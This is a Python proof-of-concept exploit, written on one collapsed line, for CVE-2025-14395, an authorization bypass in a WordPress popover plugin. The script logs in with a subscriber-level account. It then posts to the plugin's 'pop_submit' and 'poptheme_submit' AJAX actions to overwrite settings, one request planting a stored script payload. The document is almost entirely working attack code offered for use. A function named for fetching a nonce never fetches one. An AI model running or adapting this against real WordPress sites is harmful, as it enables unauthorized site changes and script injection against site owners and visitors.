CVE-2025-14395

import requests import sys # CVE-2025-14395 PoC - WordPress Popover Windows Plugin Authorization Bypass # This PoC demonstrates how an authenticated user with subscriber-level access # can modify plugin settings without proper authorization TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def get_nonce_and_cookies(): """Login to WordPress and get authentication cookies and nonce""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return None, None print("[+] Login successful") return session, session.cookies def exploit_authorization_bypass(session, cookies): """Exploit the missing capability check vulnerability""" ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Attack vector 1: pop_submit - Modify popover settings pop_submit_data = { 'action': 'pop_submit', 'popover_option': 'modified_by_attacker', 'popover_content': '<script>alert("XSS")</script>', 'popover_theme': 'malicious_theme' } print("[*] Sending pop_submit request...") response = session.post(ajax_url, data=pop_submit_data, cookies=cookies) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Attack vector 2: poptheme_submit - Modify theme settings poptheme_data = { 'action': 'poptheme_submit', 'theme_name': 'injected_theme', 'theme_style': 'malicious_css' } print("[*] Sending poptheme_submit request...") response = session.post(ajax_url, data=poptheme_data, cookies=cookies) print(f"[+] Response status: {response.status_code}") if __name__ == "__main__": session, cookies = get_nonce_and_cookies() if session and cookies: exploit_authorization_bypass(session, cookies) print("[+] Exploitation attempt completed")

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